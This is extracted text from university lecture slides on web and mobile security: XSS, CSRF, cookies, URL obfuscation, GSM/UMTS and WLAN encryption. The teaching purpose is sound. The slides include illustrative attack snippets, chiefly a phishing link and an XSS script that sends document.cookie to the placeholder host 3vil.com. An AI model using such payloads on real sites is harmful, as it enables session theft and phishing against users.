Computer security Lecture 10. Web security, Mobile security

(1)

Computer security Lecture 10

(2)

Web: Threat model

I Attacks from communication and network security

I Also: direct web attacks, phishing, session hijacking, cross-site scripting, . . .

Alice Bob

(3)

Web: Threat model

Alice Bob

(4)

Web: Threat model

Alice Bob

(5)

Web: Threat model

Alice Bob

(6)

Web: Threat model

Alice Bob

(7)

Web protocols

I The HyperText Transfer Protocol (HTTP) belongs to the application layer of the OSI network layers

I A client sends a request (GET or POST) to the server

I The web server interprets the call, extracting user-provided parameters

I Sometimes there are back-end servers that provide the actual content (e.g., from a database)

I The server responds with a page in HyperText Markup Language (HTML)

(8)

Uniform Resource Locator/Identifier/Name

I The URL part is put through DNS lookup

I The URN part is used to identify the file (or data entity) desired by the client

I The hierarchical structure is not quite orderly in a URI

http://www.icg.isy.liu.se/courses/tsit02/LabPMPowerAnalysis TKO1.pdf

I Attackers have formed hostnames with characters that look like a slash. . .

(9)

(10)

URL obfuscation

I Misspelling of URLs, preferably ones which are hard to notice

I Hiding the true target, so-called “Clickjacking”

<a href="http://phish.com">http://trustedbank.com</a> I Similar-looking letters (t and f, d and b, . . . ), especially in

(11)

URL obfuscation: Unicode

I Unicode characters from other than ASCII are used to support multiple language URLs

I There are many look-alike Unicode letters

I Even worse, some are renderedexactly the same as each other

(12)

URL obfuscation: www.paypal.com

I A famous example involved a phishing site that registered the domainwww.paypal.com using the cyrillic letter “p” (prononunced like swedishr)

I The cyrillic “p” is rendered as the latin “p” by browsers (although it may be different glyphs from the font used)

I The cyrillic “p” has Unicode #0440, while the latin “p” has #0070

I Different URLs, different hosts

I Even worse, the phishing site obtaned an SSL certificate for the site

(13)

POST and GET

I There are two types of requests, POST and GET

I POST was intended to upload large data volumes, and puts the action to be performed into the request body

I GET was intended to download data, and puts the (relatively short) request parameters in the URI

I These are largely equivalent in their use today

http://kdb-5.liu.se/liu/lith/studiehandboken/action.lasso? &-response=enkursplan.lasso&op=eq&k budget year=2012&op=eq& k kurskod=TSIT02

(14)

(15)

Responses in HTML

I HTML itself is relatively harmless

I Elements include forms, frames, iframes, images, applets, scripts

I Some are active, activated by specific events

I A simple activation is the “onclick” action of the [submit] button of a form that causes a GET request

(16)

The Browser

I Displays web pages, represents them internally in the Domain Object Model tree

I Manages sessions

I Performs access control for client-side scripts

html head

title meta meta

body

h1 p

a ul li li li

(17)

Sessions

I HTTP sessions can be established, but is not authenticated

I Authenticated sessions come in three variants

I Transport layer sessions (TLS)

I Network layer sessions

(18)

Transport layer sessions: TLS

Client Server ClientHello ServerHello,. . . ClientKeyExchange . . . ,Finished

(19)

Transport layer sessions: EAP-TTLS

Client Server EAP-Req/Id EAP-Resp/Id EAP-TTLS Start EAP-TTLS ClientHello EAP-TTLS ServerHello,. . . EAP-TTLS ClientKeyExchange EAP-TTLS . . . ,Finished EAP-TTLS . . . ,Finished

EAP-TTLS Username, . . . ,CHAP-Password EAP Success/Failure

(20)

(21)

Network layer sessions

I The server creates a Session ID (SID) and transmits that to the client

I Often issued without user authentication, but authentication can be used

I Can be transferred by two mechanisms

I GET or POST parameters

(22)

Sessions using GET and POST

I Using the GET mechanism requires each link on a page to include the SID as a GET parameter

I The server needs to respond with a page where all links include the SID

I The POST mechanism uses a hidden form that holds the

SID

I This also needs to be included in every page from the server

I Both of these are fairly weak, unless a transport layer session (HTTPS) already has been established

(23)

Cookies

I Cookies are small packets of data contained in server responses in a “Set-Cookie” header field

I Contains key-value pairs, domain, expiry date, an optional path, and “secure” and “HTTP only” flags

I The “secure” flag enforces HTTPS transmission

(24)

Sessions using Cookies

I Put SID in a cookie and use that

I Attackers may try to modify a cookie to elevate their priviliges, “cookie poisoning”

I They could also try to steal the cookies, we’ll see techniques for that later

I Basic requirements: SIDs should be hard to predict, and cookies should be stored safely

(25)

Cookies and privacy

I Cookies don’t just store SIDs, they can be used to store all sorts of things

I But cookies are only sent to the matching domain?

I And cookies are stored at the user? No problem then!

I Not so fast, accessibility is really the problem,and cookies are sent to the matching domain

I This is a distributed database, and there are law requirements for such a thing

(26)

Cookie stealing

I Cookies are sent to the matching domain

I This is an example of “same-origin policies”

I Scripts are also under this policy

I The trick is to get your script included in a response from a trusted site (and to give you the cookie)

(27)

Cross-site scripting, XSS

I This is a collection of techniques used to get attackers’ scripts included in web pages from trusted servers

I There must always be an opening for entering the script into the web page

I Oddly, there are (a few) servers that use the techniques to provide legitimate content

(28)

Reflected (nonpersistent) XSS

I Here, a script resides on the attacker’s server

I The target user needs to be lured to the attacker’s site

I Then, there are several techniques, a simple example:

<A HREF="http://trusted.com/comment.cgi?mycomment=<SCRIPT alert(’XSS!’)></SCRIPT>">Click here</A>

I If the comment page echoes the argument, the script gets executed on the comment page, with the priviliges for pages from the trusted server

I Not only comment pages, but search engines, 404 pages, . . .

(29)

Stored (persistent), and DOM-based XSS

I In a stored XSS attack, the attacker stores the script directly at the trusted server, for example on a discussion page

I A DOM-based XSS attack is based on the habit of some pages to interpret the document.URL at the client rather than at the server

I Attacker embeds script in a request URL

I Script gets put in document.URL, but is not interpreted at the server, nor is in the HTML response

I Page contains references to document.URL, so script is executed in the client

(30)

Cookie stealing through XSS

I Cookies are available in the DOM, in document.cookie (unless HTML-only is set)

I A (more complex) attack is now

<SCRIPT> frames["XSS"].location.href

="http://3vil.com/steal.php?cookie="+document.cookie> </SCRIPT>

(31)

Defenses against XSS

I Disable scripts (or rather, enable it only for sites you trust; use Noscript)

I Sanitize your inputs (well)

I Improve authentication

I Improve access control, so that it becomes harder to steal user credentials through the same-origin policy

(32)

Cross-Site Request Forgery (CSRF, XSRF)

I The opposite (in a sense) of a XSS attack

I A XSS attack uses the client’s trust of a server execute commands at the client with the server’s priviliges

I A CSRF attack uses the server’s trust of a client and lures the client to request execution of commands at the server with the client’s priviliges

I Common examples are inserted pages that perform (unwanted) actions on behalf of the client

I A merchant that uses paypal can normally not access credit card data of his customers

I A merchant lets the customer login to paypal, and then re-authenticates the user as himself

I If the user now enters credit card information, the merchant would get access to that

(33)

Web services security

I The internet is a complicated place, where services interact in various ways

I The book talks about “mashups” that combine services from several sources

I Often leads to complicated (and vulnerable) authentication and authorization structures

(34)

Federated Identity Management

I Several organizations cooperate to manage identity information

I Implements a “trust, but verify” strategy

I Authenticate on one site, get access to several sites

I Sites need agreements that regulate liability and dispute resolution

I Privacy has to be considered

I Security Assertion Markup Language (SAML) is a

meta-level single sign-on protocol that can be implemented in Kerberos or through a PKI

(35)

Web: Threat model

Alice Bob

(36)

Mobility

I Mobile networks create a whole new set of problems:

I How do we authenticate users?

I How do we authenticate roaming users?

I How do we hand over sessions from one base station to another?

I Do we share a new session key, or transfer the old one?

(37)

Analogue phones

I First generation cellphones provided no confidentiality (some obfuscation)

I Criminals used them to create alibies through call ftorwarding from land lines

I Authentication was sent through a challenge-response protocol, but in the clear, resulting in charge fraud

(38)

GSM politics

I At the time (the eighties, early nineties), there were strong restrictions on use of cryptography

I Law enforcement wanted to be able to perform “wiretaps”

I GSM consortium consisted of mainly national post, phone, and telegraph operators

(39)

GSM

I Design goals: good voice quality, cheap end systems, low running costs, international roaming, hand-held devices(!), new services such as SMS

I Security goals: protect against charge fraud, eavesdropping, and track stolen devices (but this was not always

(40)

GSM components

I Each GSM user has a subscription in a “home network”

I Users can use other “visited network”

I A phone consists of “mobile equipment”, and a Subscriber Identity Module (SIM) that contains cryptographic

hardware, cryptographic keys, and other info

I The network side has base stations and a few different servers that handle user data

(41)

GSM IMSI, TMSI

I The identifier for a GSM phone is the International Mobile Subscriber Identity, IMSI

I The phone and home network share a 128-bit

authentication keyKi

I To protect user privacy, the IMSI is sent in the clear only in the initial connection to the GSM network, after that a Temporary MSI, TMSI is used

(42)

GSM crypto

I Uses a 64-bit session keyKc, created in the authentication process

I The authentication algorithm A3 and the key generation algorithm A8 are chosen by the network

I The encryption algorithm A5 is standardized, this is a stream cipher that can handle channel noise well, but does not give message integrity

I By todays standards, A5 is weak: A5/1 is the first version, the “export” A5/2 was broken immediately upon release, while A5/3 is somewhat stronger

(43)

GSM session key, Subscriber Identity

Authentication

(44)

Roaming fraud

I A GSM subscription is taken out with a local network

I The user never intends to pay

I Instead he uses it abroad in a network of his choice, free of charge for a time (soft currency fraud)

I The home network also has to pay the foreign network for the service (hard currency fraud)

(45)

False base stations

I Phone is authenticated, but network is not

I Furthermore, the network can ask the phone for the IMSI, breaking privacy

I And the network can even ask the phone to switch off encryption altogether

(46)

UMTS (3G)

I UMTS is one 3G standard

I Higher speed, better security

I Above all, network authentication

I But also better crypto, uses KASUMI, a 128-bit key block cipher, used in a stream cipher mode

(47)

(48)

Internet mobility

I Mobile phone security is much about preventing fraudulent billing

I Internet mobility should meet other threats

I Redirecting traffic to get another user’s messages

I Redirecting traffic to crowd another users reception

I In Mobile IPsec a user announces the current location to the intended correspondent directly and via the home agent

I The correspondent returns keygen tokens through both links

(49)

WLAN

I WLAN security is not so much mobility but wireless network access

I Hiding the Service Set ID (SSID) is common but not so helpful

I The same applies to restricting access to a list of Medium Access Control (MAC) addresses

I The problem is that these are used before security can be set up, and can be sniffed in transit

(50)

WEP

I WEP is flawed

I Uses a stream cipher RC4 with a short IV; when IV repeats, so does the key stream, and this is really really bad for a stream cipher

I Checksum is CRC-32, and this is suited for finding random errors, not intentional modifications

I Finally, RC4 has been broken

(51)

WPA

I This is a quick-fix designed to run on (mostly) the same hardware as WEP

I Generates a new encryption key for each packet through the Temporal Key Integrity Protocol

I Also changes the CRC checksum to a message integrity check algorithm called “Michael”

I There are still weaknesses that remain from WEP and some limitations of Michael that makes it possible to retrieve the keystream from short packets

(52)

WPA2

I A new design

I Can be used in Transitional Security Network mode to allow older security modes (but. . . )

I Robust Security Network mode is not backwards compatible

I Encryption is AES used in a stream cipher mode (CTR)

(53)

Bluetooth

I Short range ad hoc networks

I Pairing may be by simple keypresses, close in time, or by PIN

I Main protection is physical proximity

I Security is better since Bluetooth 2.1 (2007), and include the Simple Secure Pairing in the book